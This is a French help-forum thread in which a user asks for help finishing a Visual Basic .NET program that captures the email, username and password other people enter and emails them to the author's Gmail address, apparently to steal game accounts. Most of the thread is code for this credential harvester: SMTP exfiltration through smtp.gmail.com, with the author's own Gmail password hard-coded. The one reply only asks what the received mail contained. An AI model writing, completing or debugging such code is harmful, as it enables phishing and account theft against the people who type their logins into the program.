Problème de codage microsoft visual basic
Résolu
fragcodeur
Messages postés
26
Statut
Membre
-
fragcodeur Messages postés 26 Statut Membre -
fragcodeur Messages postés 26 Statut Membre -
bonsoir, je fais un petit logiciel sympa.le design de l'application est fait mais , je n'arrive pas à trouver le code permettant de recevoir par mail les information de connexion que les gens ont utilisé.
par exemple : je me connecte à ce logiciel , je rentre mon email:test@test.com je rentre mon identifiant : fragcodeur et je rentre enfin mon mot de passe : jemaime.
maintenant j'aimerais recevoir ces informations de connexion sur MON adresse email.
j'ai reussi a faire en sorte de recevoir un mail mais n'arrive pas a recevoir les informations.
voici mon codage:
par exemple : je me connecte à ce logiciel , je rentre mon email:test@test.com je rentre mon identifiant : fragcodeur et je rentre enfin mon mot de passe : jemaime.
maintenant j'aimerais recevoir ces informations de connexion sur MON adresse email.
j'ai reussi a faire en sorte de recevoir un mail mais n'arrive pas a recevoir les informations.
voici mon codage:
Imports System.Net.Mail
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim nom = tbnom
Dim pass = tbpass
Dim mail = tbmail
CEST ICI QUE JAIMERAIS METTRE MON CODE POUR RECEVOIR MOT DE PASSE MAIL ET IDENTIFIANTS.
Dim MyMailMessage As New MailMessage()
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
MyMailMessage.From = New MailAddress("fragmenteurlol@gmail.com")
MyMailMessage.To.Add("fragmenteurlol@gmail.com")
MyMailMessage.Subject = ("nouvelle connexion")
MyMailMessage.Body = ("message")
SMTPServer.Port = ("587") 'Port
SMTPServer.Credentials = New System.Net.NetworkCredential("fragmenteurlol@gmail.com", "ferrari458JW")
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage) 'Envoi
End Sub
End Class
1 réponse
-
Bonjour,
Tu dis :
j'ai reussi a faire en sorte de recevoir un mail mais n'arrive pas a recevoir les informations.
Qu'y a t'il d'écrit dans le mail que tu as réussis à recevoir?-
-
enfaite j'ai trouver la commande pour recevoir les informations:
Dim Message As String = "nom : " & nom & vbNewLine & "pass : " & pass & vbNewLine & "mail : " & mail
Dim MyMailMessage As New MailMessage()
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
MyMailMessage.From = New MailAddress("fragmenteurlol@gmail.com")
MyMailMessage.To.Add("fragmenteurlol@gmail.com")
MyMailMessage.Subject = ("nouvelle connexion")
MyMailMessage.Body = ("Message")
c'est la première ligne qui pose problème. le logiciel me dit : l'operateur '&' n'est pas defini pour les types 'strings'. -
j'ai essayer ca mais meme problème:
Dim nom = tbnom
Dim pass = tbpass
Dim mail = tbmail
Dim MyMailMessage As New MailMessage()
Dim SMTPServer As New SmtpClient("smtp.gmail.com")
MyMailMessage.From = New MailAddress("fragmenteurlol@gmail.com")
MyMailMessage.To.Add("fragmenteurlol@gmail.com")
MyMailMessage.Subject = ("compte lol")
MyMailMessage.Body = ("nom : " & nom & vbNewLine & "pass : " & pass & vbNewLine & "mail : " & mail)
SMTPServer.Port = ("587") 'Port
SMTPServer.Credentials = New System.Net.NetworkCredential("fragmenteurlol@gmail.com", "ferrari458JW")
SMTPServer.EnableSsl = True -
-
-
